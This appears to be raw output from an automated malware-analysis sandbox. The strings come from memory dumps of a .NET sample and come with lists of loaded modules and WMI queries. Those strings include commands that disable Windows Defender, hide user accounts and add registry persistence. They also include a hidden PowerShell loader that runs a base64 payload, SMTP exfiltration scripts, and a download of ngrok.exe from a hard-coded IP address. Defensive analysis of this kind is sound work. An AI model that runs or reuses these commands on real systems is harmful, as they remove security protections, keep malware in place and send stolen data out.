00000000-00003440.00000000.71982.00F52000.00000020.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00003440.00000000.71982.01C60000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00003440.00000000.71982.01C60000.00000004.mdmp "Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00003440.00000000.71982.7F6F0000.00000002.mdmp " Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "ew-ItemProperty -Path HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList -Name Durios -PropertyType DWord -Value 0 -Force" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp ""HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", """ in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp " "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", """ in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "wshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, "KCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, "oReg.GetStringValue &H80000001 "Software\Microsoft\Windows\CurrentVersion\RunOnce" "" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "ew-ItemProperty -Path HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList -Name Venom -PropertyType DWord -Value 0 -Force" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" / t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "KCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "KCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools" in Source: 00000000-00003440.00000001.73903.00F52000.00000020.mdmp "Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00003440.00000001.73903.7F6F0000.00000002.mdmp " Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "ew-ItemProperty -Path HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList -Name Durios -PropertyType DWord -Value 0 -Force" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp ""HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", """ in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp " "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", """ in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "wshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "KCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp, "oReg.GetStringValue &H80000001 "Software\Microsoft\Windows\CurrentVersion\RunOnce" "" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "ew-ItemProperty -Path HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList -Name Venom -PropertyType DWord -Value 0 -Force" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" / t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "eg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "KCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "KCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools" in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp "Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00003440.00000002.75822.7F6F0000.00000002.mdmp3c:T12f9,".exe" loaded module "%WINDIR%\System32\ntdll.dll" at 778D0000 ".exe" loaded module "C:\d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.exe" at 00F50000 ".exe" loaded module "%WINDIR%\System32\mscoree.dll" at 6E7C0000 ".exe" loaded module "%WINDIR%\System32\kernel32.dll" at 76000000 ".exe" loaded module "%WINDIR%\System32\KernelBase.dll" at 758E0000 ".exe" loaded module "%WINDIR%\System32\advapi32.dll" at 77A70000 ".exe" loaded module "%WINDIR%\System32\msvcrt.dll" at 75EA0000 ".exe" loaded module "%WINDIR%\Temp\VxSSL32.dll" at 6E770000 ".exe" loaded module "%WINDIR%\System32\ws2_32.dll" at 75F60000 ".exe" loaded module "%WINDIR%\System32\nsi.dll" at 75F50000 ".exe" loaded module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" at 6DD30000 ".exe" loaded module "%WINDIR%\System32\shlwapi.dll" at 76660000 ".exe" loaded module "C:\d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.exe" at 004C0000 ".exe" loaded module "%WINDIR%\System32\version.dll" at 74D50000 ".exe" loaded module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" at 68540000 ".exe" loaded module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" at 68CF0000 ".exe" loaded module "%WINDIR%\System32\vcruntime140_clr0400.dll" at 6E840000 ".exe" loaded module "%WINDIR%\System32\ucrtbase_clr0400.dll" at 6DC80000 ".exe" loaded module "%WINDIR%\System32\psapi.dll" at 75FA0000 ".exe" loaded module "%WINDIR%\Globalization\Sorting\SortDefault.nls" at 03C60000 ".exe" loaded module "%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" at 678E0000 ".exe" loaded module "%WINDIR%\System32\rpcss.dll" at 006D0000 ".exe" loaded module "%WINDIR%\System32\cryptbase.dll" at 756D0000 ".exe" loaded module "%WINDIR%\System32\uxtheme.dll" at 745D0000 ".exe" loaded module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" at 6D600000 ".exe" loaded module "%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" at 66E80000 ".exe" loaded module "%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll" at 66010000 ".exe" loaded module "%WINDIR%\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" at 65A60000 ".exe" loaded module "%WINDIR%\System32\shell32.dll" at 76BB0000 ".exe" loaded module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" at 6DAD0000 ".exe" loaded module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\sortdefault.nlp" at 03F30000 ".exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 752F0000 ".exe" loaded module "%WINDIR%\System32\cryptsp.dll" at 751E0000 ".exe" loaded module "%WINDIR%\System32\rsaenh.dll" at 00720000 ".exe" loaded module "%WINDIR%\System32\rsaenh.dll" at 74F70000 ".exe" loaded module "%WINDIR%\System32\sechost.dll" at 76640000 ".exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 76A30000 ".exe" loaded module "%WINDIR%\Temp\VxOle32.dll" at 72250000 ".exe" loaded module "%WINDIR%\System32\user32.dll" at 77800000 ".exe" loaded module "%WINDIR%\System32\gdi32.dll" at 76360000 ".exe" loaded module "%WINDIR%\System32\lpk.dll" at 77A60000 ".exe" loaded module "%WINDIR%\System32\usp10.dll" at 760E0000 ".exe" loaded module "%WINDIR%\System32\ole32.dll" at 76200000 ".exe" loaded module "%WINDIR%\System32\oleaut32.dll" at 76990000 ".exe" loaded module "%WINDIR%\System32\fltLib.dll" at 6E2C0000 ".exe" loaded module "%WINDIR%\System32\imm32.dll" at 00190000 ".exe" loaded module "%WINDIR%\System32\imm32.dll" at 76970000 ".exe" loaded module "%WINDIR%\System32\msctf.dll" at 76AE0000 ".exe" loaded module "%WINDIR%\System32\api-ms-win-core-synch-l1-2-0.dll" at 72B20000 ".exe" loaded module "%WINDIR%\System32\api-ms-win-core-xstate-l2-1-0.dll" at 6DC70000 ".exe" loaded module "%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll" at 6D450000 ".exe" loaded module "%WINDIR%\System32\profapi.dll" at 757F00003d:T656,"SELECT Caption FROM Win32_OperatingSystem" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, Indicator: "select caption from win32_operatingsystem") "SELECT * FROM Win32_VideoController" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, Indicator: "select * from win32_videocontroller") "Select * From Win32_Process Where ParentProcessID=" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, Indicator: "select * from win32_process where parentprocessid=") "SELECT CommandLine FROM Win32_Process WHERE ProcessId =" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, Indicator: "select commandline from win32_process where processid =") "SELECT * FROM Win32_BIOS" (Source: 60008f2-_~_, Indicator: "select * from win32_bios") "SELECT * FROM Win32_BaseBoard" (Source: 60008f3-_~_, Indicator: "select * from win32_baseboard") "SELECT * FROM Win32_Processor" (Source: 60008f4-_~_, Indicator: "select * from win32_processor") "Select * From Win32_ComputerSystem" (Source: 60008f5-_~_, Indicator: "select * from win32_computersystem") "SELECT * FROM Win32_DisplayConfiguration" (Source: 60008f6-_~_, Indicator: "select * from win32_displayconfiguration") "SELECT * FROM Win32_OperatingSystem WHERE Primary='true'" (Source: 6000a82-_~_, Indicator: "select * from win32_operatingsystem where primary='true'") "SELECT * FROM AntivirusProduct" (Source: 6000a84-_~_, Indicator: "select * from antivirusproduct") "SELECT * FROM FirewallProduct" (Source: 6000a85-_~_, Indicator: "select * from firewallproduct")3e:T168b,Found string "ECHO $SMTPMessage = New-Object System.Net.Mail.MailMessage($EmailFrom, $EmailTo, $Subject, $Body) >> %PSScript%" (Indicator: "New-Object"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "ECHO $SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587) >> %PSScript%" (Indicator: "New-Object"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "powershell (new-object System.Net.WebClient).DownloadFile('deadlink','%exeFile%');" (Indicator: "New-Object"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "powershell (new-object System.Net.WebClient).DownloadFile('%downloadURL%','%exeFile%');" (Indicator: "New-Object"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587);" (Indicator: "New-Object"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "ECHO $Attachment = New-Object System.Net.Mail.Attachment($Attachment) >> %PSScript%" (Indicator: "New-Object"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "ECHO $SMTPClient.Credentials = New-Object System.Net.NetworkCredential($Username, $EmailPassword) >> %PSScript%" (Indicator: "New-Object"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") file/memory contains long string with (Indicator: "New-Object"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "Compress-Archive -Path" (Indicator: "Compress-Archive"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b powershell Compress-Archive -Path" (Indicator: "Compress-Archive"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('" (Indicator: "New-Object"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "$ReportEmail = New-Object System.Net.Mail.MailMessage;" (Indicator: "New-Object"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b powershell Install-WindowsFeature Net-Framework-Core -source \\network\\share\\sxs & exit" (Indicator: "Install-WindowsFeature"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string ".Credentials = New-Object System.Net.NetworkCredential($Username, $EmailPassword) >> %PSScript%" (Indicator: "New-Object"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "ogFile=%TEMP%\proclog.txtset exeFile=%TEMP%\ngrok.exeset logFile=%TEMP%\proclog.txtpowershell (new-object System.Net.WebClient).DownloadFile('http://91.134.207.16/update/ngrok.exe','%exeFile%');%exeFile% authtoken" (Indicator: "New-Object"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "powershell Compress-Archive -Path" (Indicator: "Compress-Archive"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "PInfo.Credentials = New-Object System.Net.NetworkCredential('" (Indicator: "New-Object"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "/k start /b powershell Install-WindowsFeature Net-Framework-Core -source \network\share\sxs & exit" (Indicator: "Install-WindowsFeature"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "CHO $SMTPMessage = New-Object System.Net.Mail.MailMessage($EmailFrom, $EmailTo, $Subject, $Body) >> %PSScript%" (Indicator: "New-Object"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "CHO $Attachment = New-Object System.Net.Mail.Attachment($Attachment) >> %PSScript%" (Indicator: "New-Object"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "CHO $SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587) >> %PSScript%" (Indicator: "New-Object"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "CHO $SMTPClient.Credentials = New-Object System.Net.NetworkCredential($Username, $EmailPassword) >> %PSScript%" (Indicator: "New-Object"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "powershell (new-object System.Net.WebClient).DownloadFile('http://91.134.207.16/update/ngrok.exe','%exeFile%');" (Indicator: "New-Object"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "owershell (new-object System.Net.WebClient).DownloadFile('deadlink','%exeFile%');" (Indicator: "New-Object"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "k start /b powershell Compress-Archive -Path" (Indicator: "Compress-Archive"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")3f:T4c1,"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,"40:T1b21,Observed system executable string:"C:\Windows\Temp\VxOle32.dll" [Source: 00000000-00003440.00000000.71982.00010000.00000040.mdmp 00000000-00003440.00000000.71982.00070000.00000002.mdmp 00000000-00003440.00000001.73903.00010000.00000040.mdmp 00000000-00003440.00000001.73903.00070000.00000002.mdmp 00000000-00003440.00000002.75822.00010000.00000040.mdmp 00000000-00003440.00000002.75822.00070000.00000002.mdmp] Observed system executable string:"C:\Windows\Temp\VxSSL32.dll" [Source: 00000000-00003440.00000000.71982.00020000.00000040.mdmp 00000000-00003440.00000000.71982.001A0000.00000002.mdmp 00000000-00003440.00000001.73903.00020000.00000040.mdmp 00000000-00003440.00000001.73903.001A0000.00000002.mdmp 00000000-00003440.00000002.75822.00020000.00000040.mdmp 00000000-00003440.00000002.75822.001A0000.00000002.mdmp] Observed system executable string:"C:\Windows\system32\sxsoa.dll" [Source: 00000000-00003440.00000000.71982.00030000.00000002.mdmp 00000000-00003440.00000001.73903.00030000.00000002.mdmp 00000000-00003440.00000002.75822.00030000.00000002.mdmp] Observed system executable string:"C:\Windows\system32\GdiPlus.dll" [Source: 00000000-00003440.00000000.71982.00030000.00000002.mdmp 